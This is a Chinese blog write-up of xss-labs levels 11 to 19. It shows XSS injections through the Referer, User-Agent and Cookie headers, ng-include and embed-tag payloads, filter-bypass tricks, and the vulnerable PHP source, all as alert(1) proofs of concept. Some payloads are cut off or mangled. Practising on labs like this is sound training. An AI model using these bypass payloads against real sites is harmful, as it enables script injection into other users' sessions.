• xss挑战之旅11-19关



    前言

    靶场:XSS挑战之旅
    1-10关
    11-20关


    第11关:referer
    1. 查看网页源代码
      在这里插入图片描述

    2. 抓包
      在这里插入图片描述

    3. 修改,放包

      Referer: 111" onclick="alert(1)" type="text
      
      • 1

      在这里插入图片描述

    4. 浏览器效果
      在这里插入图片描述

    5. 下一关
      在这里插入图片描述

    6. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["keyword"];
      	$str00 = $_GET["t_sort"];
      	$str11=$_SERVER['HTTP_REFERER'];  //可传入的参数,可能需要抓包才能修改
      	$str22=str_replace(">","",$str11);
      	$str33=str_replace("<","",$str22);
      	echo "

      没有找到和".htmlspecialchars($str)."相关的结果.

      "
      .'
      '
      ; ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
    第12关:User-Agent
    1. 看源码,跟user-agent有关
      在这里插入图片描述

    2. 抓包修改

      User-Agent: 111" onclick="alert(1)" type="
      
      • 1

      在这里插入图片描述

    3. 查看网页源代码,点击输入框即可通关
      在这里插入图片描述

    4. 源码

       
      	......
      	$str11=$_SERVER['HTTP_USER_AGENT']; //注入点
      	$str22=str_replace(">","",$str11);
      	$str33=str_replace("<","",$str22);
      	......
      	<input name="t_ua"  value="'.$str33.'" type="hidden">  //能浏览器加载的地方
      	......
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    第13关:cookie
    1. 看网页源代码,跟cookie有关
      在这里插入图片描述

    2. 浏览器新建cookie(或者抓包修改也可以)

      user: 111" onclick="alert(1)" type="
      
      • 1

      在这里插入图片描述

    3. 刷新加载
      在这里插入图片描述

    4. 源码

       
      	setcookie("user", "call me maybe?", time()+3600);
      	......
      	$str11=$_COOKIE["user"]; //注入点
      	......
      	<input name="t_cook"  value="'.$str33.'" type="hidden">
      	......
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
    第14关:exif xss
    1. emmm,这关需要自己找环境复现。
      在这里插入图片描述

    2. exif xss介绍

      exif

      可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。

      exif xss 原理

      因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。

    3. 制作恶意图片
      截图不行,无法写入
      在这里插入图片描述
      这张图片时手机拍的,可以写入
      在这里插入图片描述

    4. 可以读取exif信息的网址

      https://www.sojson.com/image/exif.html
      
      • 1

      在这里插入图片描述

      https://exifdata.com/
      
      • 1

      在这里插入图片描述

    第15关:ng-include
    1. ng-include函数

      可以在html文件中包含外部的html文件

      特别注意:

      ng-include,如果单纯指定地址,必须要加引号'
      ng-include,加载外部html,script标签中的内容不执行
      ng-include,加载外部html,含有style标签样式可以识别

    2. 改变参数,观测效果
      在这里插入图片描述

    3. 文件包含进来了,使用',看特别注意1
      在这里插入图片描述
      在这里插入图片描述

    4. 为什么包含php文件也可以?

      应该是把php文件执行后生成的html文件包含进来的。

    5. 加入参数进行测试,有回显
      在这里插入图片描述

    6. 传入进行测试,但是不执行,看特别注意2

      ?src='level1.php?name='
      
      • 1

      在这里插入图片描述

    7. 传入进行测试,看特别注意3,进入下一关

      ?src='level1.php?name='
      
      • 1

      在这里插入图片描述

    8. 源码

       
      	ini_set("display_errors", 0);
      	$str = $_GET["src"];
      	echo '.htmlspecialchars($str).'">';
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
    第16关
    1. 源码

       
      	ini_set("display_errors", 0);
      	$str = strtolower($_GET["keyword"]);  //小写,注入点
      	$str2=str_replace("script"," ",$str);  //将script替换为   不使用script即可
      	$str3=str_replace(" "," ",$str2);  //将空格替换为    用%0a代替
      	$str4=str_replace("/"," ",$str3);  //将/替换为    可以用单标签进行绕过
      	$str5=str_replace("	"," ",$str4);  //将空格替换为 
      	echo "
      ".$str5."
      "
      ; //浏览器加载注入代码 ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    2. 测试,观测浏览器加载效果和网页源代码
      在这里插入图片描述

    3. payload

      
      
      ----------------------------------
      用%0a替换空格
      
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
    4. onerror事件

      onerror 事件在加载外部文件(文档或图像)发生错误时触发。
      在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。

    5. 下一关
      在这里插入图片描述

    第17关
    1. 源码

      <body>
      	<h1 align=center>欢迎来到level17h1>
      		";
      		?>
      	<h2 align=center>成功后,点我进入下一关a>h2>
      body>
      
    2. 测试
      在这里插入图片描述

    3. 标签

      引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。

    4. 传入进行测试
      在这里插入图片描述

    5. 传入onclick=alert(1)进行测试
      在这里插入图片描述

    6. 进行测试
      在这里插入图片描述

    7. onclick=alert(1)不行,用onmouseover=alert(1)
      在这里插入图片描述

    8. 下一关
      在这里插入图片描述

    第18关
    1. 同17关,虽然不支持插件,但是不影响
      在这里插入图片描述
    第19关:flash xss
    1. 供参考已复现成功的文章
      XSS-labs Level 19 Flash XSS
      XSS之xss-labs-level19

    2. 本人的尝试失败,以下经验仅供参考

    3. flash xss 原理

      flash有可以调用js的函数,也就是可以和js进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
      常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。

    4. 测试
      在这里插入图片描述

    5. 不能用"在这里插入图片描述

    6. 直接参考别人的payload在这里插入图片描述

    7. 用IE浏览器打开,自动跳转成Microsoft edge,修改设置
      在这里插入图片描述

    8. IE浏览器访问,但是浏览器自动禁止了XSS
      在这里插入图片描述

    9. 没了

  • 相关阅读:
    Purism 推出注重隐私的 Linux 平板电脑
    一文概括AxureRP的优缺点和替代软件
    不要轻易更换zotero同步的官网账号
    springboot基于web的在线问答社区系统设计与实现毕业设计源码061628
    如何在Docker部署Drupal并结合内网穿透实现远程访问
    如何使用 J2L3x 提高企业团队协作效率
    nn.GRU和nn.GRUCell区别
    Sonatype Nexus 如何把多仓库合并在一起
    金融反欺诈常用特征处理方法
    pytorch常见错误
  • 原文地址:https://blog.csdn.net/weixin_52116519/article/details/127812077